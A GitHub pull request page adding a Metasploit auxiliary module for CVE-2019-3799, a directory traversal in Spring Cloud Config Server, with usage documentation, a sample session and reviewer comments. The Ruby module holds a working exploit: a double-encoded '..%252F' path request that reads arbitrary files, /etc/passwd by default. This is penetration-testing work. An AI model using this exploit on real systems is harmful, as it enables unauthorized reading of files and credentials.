Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

(CVE-2019-3799) Directory traversal - spring-cloud-config-server #11745

Merged
merged 9 commits into from Apr 26, 2019
@@ -0,0 +1,36 @@
## Vulnerable Application
RootUp marked this conversation as resolved.
Show resolved Hide resolved

his module exploits an unauthenticated directory traversal vulnerabilitywhich exists in spring cloud config, versions 2.1.x prior to 2.1.2,versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6, which islistening by default on port 8888.
RootUp marked this conversation as resolved.
Show resolved Hide resolved

<b>Related links :</b>
RootUp marked this conversation as resolved.
Show resolved Hide resolved

* https://pivotal.io/security/cve-2019-3799

## Verification

```
Start msfconsole
use auxiliary/scanner/http/springcloud_traversal
set RHOSTS
run
```

## Scenarios

```
msf > use auxiliary/scanner/http/springcloud_traversal
msf auxiliary(scanner/http/springcloud_traversal) > set RHOSTS 192.168.1.132
RHOSTS => 192.168.1.132
msf auxiliary(scanner/http/springcloud_traversal) > run

[+] File saved in: /home/input0/.msf4/loot/20190418203756_default_192.168.1.132_springcloud.trav_893434.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/springcloud_traversal) >
```

<b>Tested against :</b><br>
RootUp marked this conversation as resolved.
Show resolved Hide resolved
`Linux zero 4.15.0-48-generic #51-Ubuntu SMP Wed Apr 3 08:28:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux`

<b>Vulnerable software link :</b>
RootUp marked this conversation as resolved.
Show resolved Hide resolved
* https://github.com/spring-cloud/spring-cloud-config/archive/v2.1.1.RELEASE.zip
66 changes: 66 additions & 0 deletions modules/auxiliary/scanner/http/springcloud_traversal.rb
@@ -0,0 +1,66 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Spring Cloud Config Server Directory Traversal',
'Description' => %q{
This module exploits an unauthenticated directory traversal vulnerability
which exists in spring cloud config, versions 2.1.x prior to 2.1.2,
versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6, which is
listening by default on port 8888.
},
'References' =>
[
['CVE', '2019-3799'],
['URL', 'https://pivotal.io/security/cve-2019-3799']
],
'Author' =>
[
'Vern', # Vulnerability discovery
'Dhiraj Mishra' # Metasploit module
],
'DisclosureDate' => 'Apr 17 2019',
RootUp marked this conversation as resolved.
Show resolved Hide resolved
'License' => MSF_LICENSE
))

register_options(
[
Opt::RPORT(8888),
OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']),
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])
])
end

def run_host(ip)
filename = datastore['FILEPATH']
traversal = "..%252F" * datastore['DEPTH'] << filename
RootUp marked this conversation as resolved.
Show resolved Hide resolved

res = send_request_raw({
'method' => 'GET',
'uri' => "/foo/default/master/#{traversal}"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is foo important? Can it be randomized?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't believe either of the first two parts of the path matter. In my testing these can be anything.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I found it to be default after the installation.
https://github.com/spring-cloud/spring-cloud-config#QuickStart

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I tested with docker run -it -p 8888:8888 -e SPRING_CLOUD_CONFIG_SERVER_GIT_URI=https://github.com/spring-cloud-samples/config-repo hyness/spring-cloud-config-server:2.1.1.RELEASE. The second part is the profile which does default to default in my testing too but its value does not seem to matter. That could be a side effect of how I'm testing.

})

unless res && res.code == 200
print_error('Nothing was downloaded')
return
end

vprint_good("#{peer} - #{res.body}")
path = store_loot(
'springcloud.traversal',
'text/plain',
ip,
res.body,
filename
)
print_good("File saved in: #{path}")
end
end